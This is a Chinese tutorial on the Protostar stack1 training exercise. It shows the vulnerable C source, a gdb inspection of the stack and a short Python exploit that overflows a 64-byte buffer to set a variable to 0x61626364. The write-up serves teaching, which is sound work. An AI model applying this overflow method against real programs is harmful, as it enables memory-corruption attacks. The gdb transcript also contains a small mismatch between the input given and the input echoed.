Protostar——stack1

简介

  上一个练习我们通过利用栈溢出漏洞修改了栈中变量modified的值,但是我们并没有控制将modified修改成什么值。在这个练习中我们会试图将modified修改为特定的值,这就需要我们了解变量在内存中是怎样存储的。

源码

 1 #include <stdlib.h>
 2 #include <unistd.h>
 3 #include <stdio.h>
 4 #include <string.h>
 5 
 6 int main(int argc, char **argv)
 7 {
 8   volatile int modified;
 9   char buffer[64];
10 
11   if(argc == 1) {
12       errx(1, "please specify an argument\n");
13   }
14 
15   modified = 0;
16   strcpy(buffer, argv[1]);
17 
18   if(modified == 0x61626364) {
19       printf("you have correctly got the variable to the right value\n");
20   } else {
21       printf("Try again, you got 0x%08x\n", modified);
22   }
23 }

分析

  可以看到这次buffer变量不是在程序中通过gets函数获得,而是通过在执行程序时传入参数获得,当然这并不影响payload,只是在编写exploit代码时需要做一些修改,这里先不考虑这一部分。
  从代码中可以看出这次练习的目的是把modified修改为0x61626364,栈中变量的布局应该是和stack0的练习中相同,但是我们还是重新使用gdb输出一次结果,但是这次为了观察变量在内存中的布局,我们使用"abcd"作为用户输入:

 1 $ gdb stack1
 2 GNU gdb (GDB) 7.0.1-debian
 3 Copyright (C) 2009 Free Software Foundation, Inc.
 4 License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
 5 This is free software: you are free to change and redistribute it.
 6 There is NO WARRANTY, to the extent permitted by law. Type "show copying"
 7 and "show warranty" for details.
 8 This GDB was configured as "i486-linux-gnu".
 9 For bug reporting instructions, please see:
10 <http://www.gnu.org/software/gdb/bugs/>...
11 Reading symbols from /opt/protostar/bin/stack1...done.
12 (gdb) b 18
13 Breakpoint 1 at 0x80484a7: file stack1/stack1.c, line 18.
14 (gdb) r abcd
15 Starting program: /opt/protostar/bin/stack1 aaaa
16 
17 Breakpoint 1, main (argc=2, argv=0xbffffd64) at stack1/stack1.c:18
18 18 stack1/stack1.c: No such file or directory.
19 in stack1/stack1.c
20 (gdb) print $esp
21 $1 = (void *) 0xbffffc50
22 (gdb) print $ebp
23 $2 = (void *) 0xbffffcb8
24 (gdb) x/26xw $esp
25 0xbffffc50: 0xbffffc6c 0xbffffe94 0xb7fff8f8 0xb7f0186e
26 0xbffffc60: 0xb7fd7ff4 0xb7ec6165 0xbffffc78 0x64636261
27 0xbffffc70: 0xb7fd7f00 0x080496fc 0xbffffc88 0x08048334
28 0xbffffc80: 0xb7ff1040 0x080496fc 0xbffffcb8 0x08048509
29 0xbffffc90: 0xb7fd8304 0xb7fd7ff4 0x080484f0 0xbffffcb8
30 0xbffffca0: 0xb7ec6365 0xb7ff1040 0x080484fb 0x00000000
31 0xbffffcb0: 0x080484f0 0x00000000
32 (gdb) info address modified
33 Symbol "modified" is a local variable at frame offset 92.

  可以看到输入的"abcd"在栈中存储为0x64636261,所以如果想把modified修改为0x61626364,我们可以把payload设置为"dcba"*17

EXPLOIT编写

  这次不需要在程序执行中途处理用户输入,因此可以使用os模块的system函数。代码如下:

1 import os
2 payload = "dcba"*17
3 cmd = "/opt/protostar/bin/stack1 " + payload
4 os.system(cmd)

执行结果:

$ python exploit1.py
you have correctly got the variable to the right value

猜你喜欢

转载自www.cnblogs.com/white-noise/p/8973710.html